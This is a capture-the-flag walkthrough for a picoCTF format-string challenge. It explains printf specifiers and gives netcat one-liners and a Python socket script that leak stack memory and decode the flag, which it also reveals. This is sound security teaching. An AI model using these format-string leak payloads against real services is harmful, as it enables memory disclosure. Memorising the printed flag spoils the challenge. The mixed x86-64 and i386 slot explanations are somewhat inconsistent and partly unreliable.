Description
The binary calls printf(user_input) directly instead of printf("%s", user_input). This format-string vulnerability allows you to read arbitrary data off the stack - including the flag stored as a local variable.
Setup
Connect via netcat. No binary download is required.
Send format-string specifiers to leak stack values and find the flag.
nc saturn.picoctf.net <PORT_FROM_INSTANCE>Solution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Understand the format-string vulnerability
ObservationThe description says printf is called directly on user input with no fixed format string. That is the classic format-string bug, where a user-supplied %p reads values straight off the stack.printf(user_input) interprets user input as a format string. %p reads pointer-sized values from the stack; %s dereferences a stack value as a string pointer.Learn more
printfreads additional arguments from the stack (or registers on x86-64) based on format specifiers in its first argument. When user input IS the format string, the attacker controls which values get read.Common specifiers for leaking:
%p- print a pointer-sized value in hex. Safe; won't crash from invalid addresses.%s- dereference the value as a char* and print as a string. Can crash if the value is not a valid pointer.%x- print an unsigned 32-bit value in hex. On a 64-bit build it prints only the low half of the slot, so the upper four bytes are lost.%n$p- print the Nth argument (direct parameter access, e.g.,%3$pskips to the 3rd value on the stack).
The flag is stored as a local variable (likely a char array on the stack) in the calling function. It will appear as either a printable string via
%s, or as raw bytes readable via a chain of%pspecifiers.Step 2Leak the stack with %p chains
ObservationThe flag lives as a local variable in the calling function's stack frame. A chain of %p specifiers reads consecutive stack slots as hex, safely, without dereferencing anything.On x86-64 the first stack-resident format-string argument lives at %6$p (rdi/rsi/rdx/rcx/r8/r9 carry the first six). Walking %1$p through %30$p safely covers the local-variable region without straying past it.bashecho '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>bashecho '%s' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>What didn't work first
Tried: Send '%s' as the first specifier to read the flag as a string directly
The first stack slot on i386 is not a pointer to the flag buffer; it is a nearby stack address or a saved register. %s dereferences it as a char pointer, which either segfaults the server or prints garbage from unrelated memory. The flag sits further up, so chain %p specifiers to find the slot index before switching to %s.
Tried: Use '%x' chains instead of '%p' to read stack values
On a 32-bit binary %x and %p look alike, but on a 64-bit build %x prints only the low 32 bits of each 8-byte slot and silently discards the upper four bytes. Any flag bytes packed into the high half of a slot vanish. %p always prints the full pointer-sized value, whatever the architecture.
Learn more
How printf walks arguments on i386 (this binary). All variadic args sit on the stack starting at
[esp+4](the format string itself is at[esp]). Each%pconsumes 4 bytes:vuln() at the printf(user_input) call: [esp+0x00] -> &user_input <- the format string itself [esp+0x04] -> arg1 <- %p / %1$p [esp+0x08] -> arg2 <- %p / %2$p ... [esp+0x40] -> flag[0..3] <- 0x6f636970 ("pico") [esp+0x44] -> flag[4..7] <- 0x7b465443 ("CTF{") [esp+0x48] -> flag[8..11] ...On x86-64, the first 5 variadic args after the format string come from
rsi, rdx, rcx, r8, r9; from arg6 onward they live on the stack starting at[rsp]. So%6$pon x86-64 is the first stack-resident slot.Decoding the leak (concrete worked example). Suppose your
%pdump produces:%17$p = 0x6f636970 bytes 70 69 63 6f -> "pico" %18$p = 0x7b465443 bytes 43 54 46 7b -> "CTF{" %19$p = 0x6b34336c bytes 6c 33 34 6b -> "l34k" %20$p = 0x676e1535 bytes 35 15 6e 67 -> "5\x15ng" (truncated)Each 4-byte hex value reverses to a 4-character ASCII chunk (little-endian). Concatenating in order yields the flag. The
0x7dbyte (}) marks the end. If a chunk is partially garbled, retry with more%ps or use%n$sto dereference the slot as a string pointer.Why
%sis risky.%sdereferences the stack slot as achar*. If the slot is not a valid pointer, printf segfaults. Use%pfirst to identify slots whose values look like reasonable addresses (e.g.,0x080xxxxxin a 32-bit non-PIE binary), then switch to%son those.Step 3Decode the leaked bytes to reconstruct the flag
ObservationThe %p dump returns values like 0x6f636970, which is the ASCII for 'pico' in reverse. x86 is little-endian, so each 4-byte word needs reversing before the characters read correctly.Each %p prints one pointer-sized value, which is 4 bytes on this i386 binary. On a little-endian box the low-address byte appears at the right of the hex, so reverse each word to read the ASCII left to right.pythonpython3 -c " import socket s = socket.socket() s.settimeout(5) s.connect(('saturn.picoctf.net', 0)) # replace 0 with PORT_FROM_INSTANCE banner = s.recv(1024) if not banner: raise RuntimeError('connection closed before banner') payload = '.'.join([f'%{i}$p' for i in range(1, 30)]) + ' ' s.send(payload.encode()) data = s.recv(4096) if not data: raise RuntimeError('no leak received - server closed') s.close() # Parse and decode each 4-byte chunk; try little-endian first, fall back to big-endian. for val in data.decode().split('.'): val = val.strip() if not val.startswith('0x'): continue try: raw = bytes.fromhex(val[2:].zfill(8)) except ValueError: continue le = raw[::-1].decode('latin-1') be = raw.decode('latin-1') pick = le if sum(c.isprintable() and not c.isspace() for c in le) >= sum(c.isprintable() and not c.isspace() for c in be) else be if any(c.isprintable() and not c.isspace() for c in pick): print(repr(pick)) "Expected output
picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}What didn't work first
Tried: Print each leaked hex value directly as ASCII without reversing byte order
Read 0x6f636970 left to right as characters and you get 'ocip' rather than 'pico', because x86 is little-endian and the lowest-address byte sits at the right of the hex. In memory order the bytes are 70 69 63 6f, so reverse each word before decoding. Skip that and the flag looks nearly right and fails submission.
Tried: Extend the range to '%1$p' through '%100$p' to be thorough
Walk far past the flag buffer and you read uninitialized stack frames and saved return addresses, which print as zeros or random libc pointers. Those null and non-ASCII values break the printable-character heuristic in the decode script and bury the real flag region in noise. The flag fits inside the first 30 slots on this binary, so stop there.
Learn more
A 32-bit value such as
0x6f636970on a little-endian box stores its lowest byte first in memory. The bytes in address order are70 69 63 6f. Reversing gives the ASCIIpicodirectly, soraw[::-1].decode()in the script reconstructs the flag characters in source order. A big-endian fallback covers the rare case where the binary or libc has been compiled for a non-x86 host.The script targets exactly
range(1, 30): On this i386 binary, the format string at[esp+0]has no positional index; the va_list begins at[esp+4], so%1$preads the first variadic slot and%29$preads the twenty-ninth. Twenty-nine stack slots is plenty to cover the localflagbuffer in this binary; pushing past 30 risks reading past the saved frame and into uninitialised memory whose decoded bytes only add noise.Format-string bugs can also write to memory via
%n(the number of bytes printed so far is stored at the pointer slot). For read-only leak challenges like this one,%pchains plus selective%son slots that look like valid pointers is the entire toolkit. For the broader pattern set see Format string vulnerabilities for CTF and the script-driven workflow in pwntools for CTF.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}
Send a chain of %p specifiers to dump stack values. Decode the hex output as little-endian ASCII to find the flag stored on the stack.